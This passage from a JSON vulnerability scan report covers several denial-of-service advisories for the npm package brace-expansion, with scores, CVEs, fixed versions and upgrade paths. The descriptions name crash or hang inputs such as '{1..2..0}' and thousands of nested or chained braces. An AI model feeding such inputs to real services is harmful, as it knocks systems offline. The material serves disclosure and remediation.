"malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 